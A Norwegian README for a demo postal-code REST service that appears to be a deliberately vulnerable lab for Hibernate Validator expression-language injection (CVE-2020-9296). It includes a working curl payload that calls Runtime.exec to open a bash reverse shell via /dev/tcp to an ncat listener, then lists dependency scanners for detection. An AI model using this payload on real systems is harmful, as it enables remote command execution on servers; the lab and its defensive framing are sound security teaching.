Søk i databasen over postnummer med en GET mot /postnr. Søket tar inntil fire parametre.
Parameter | Betydning |
---|---|
pn | Postnummer |
ps | Poststed |
kn | Kommunenr |
k | Kommunenavn |
Ex:
curl -s localhost:8080/postnr?pn=5230
Resultatet er en liste av poststeder som matcher søkekriteriene:
[
{
"kommune": "Bergen",
"kommunenr": "4601",
"postnr": "5230",
"poststed": "Paradis"
}
]
Tre terminaler:
ncat -lkvp 31338
mvn clean package exec:java
curl -vv -G --data-urlencode 'name=${"".getClass().forName("java.lang.Runtime").getMethod("getRuntime").invoke(null).exec(["bash", "-c", "exec 5<>/dev/tcp/192.168.10.138/31338;cat <&5 | while read line; do $line 2>&5 >&5;done"].toArray("".split(","))).waitFor()}' http://localhost:8080/postnr
Merk at IP-adressen i terminal 3 må matche IP-adressen til lokal maskin.
I terminal 1 kan man nå skrive vanlige bash-kommandoer og eksekvere dem på maskinen som kjører i terminal 2.
Må bruke 6.1.x-versjonene. 6.2.x og 7.0.x legger begrensning på EL-tolkningen og defaulter til å ikke kunne kalle metoder. Se detaljer: https://in.relation.to/2021/01/06/hibernate-validator-700-62-final-released/,
CVE: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-9296
Netflix: https://securitylab.github.com/advisories/GHSL-2020-027-netflix-conductor/
For å oppdage slike ting, bør en av de følgende vurderes. Den første er gratis, resten er abonnementsbasert. Snyk har noe gratis.
- OWASP Maven Plugin (https://owasp.org/www-project-dependency-check/)
- Snyk (https://snyk.io/)
- Nexus IQ (https://help.sonatype.com/iqserver)
- Whitesource (https://www.whitesourcesoftware.com/)
- Black Duck (https://www.synopsys.com/software-integrity/security-testing/software-composition-analysis.html)
http://danamodio.com/appsec/research/spring-remote-code-with-expression-language-injection/
Koden er generert med
mvn archetype:generate -DarchetypeArtifactId=jersey-quickstart-grizzly2 \
-DarchetypeGroupId=org.glassfish.jersey.archetypes -DinteractiveMode=false \
-DgroupId=com.example -DartifactId=simple-service -Dpackage=com.example \
-DarchetypeVersion=2.33
Fra https://eclipse-ee4j.github.io/jersey.github.io/documentation/latest/getting-started.html
Java EE Expression Language: https://javaee.github.io/tutorial/jsf-el.html#GJDDD
Hibernate Validator: https://docs.jboss.org/hibernate/validator/6.1/reference/en-US/html_single/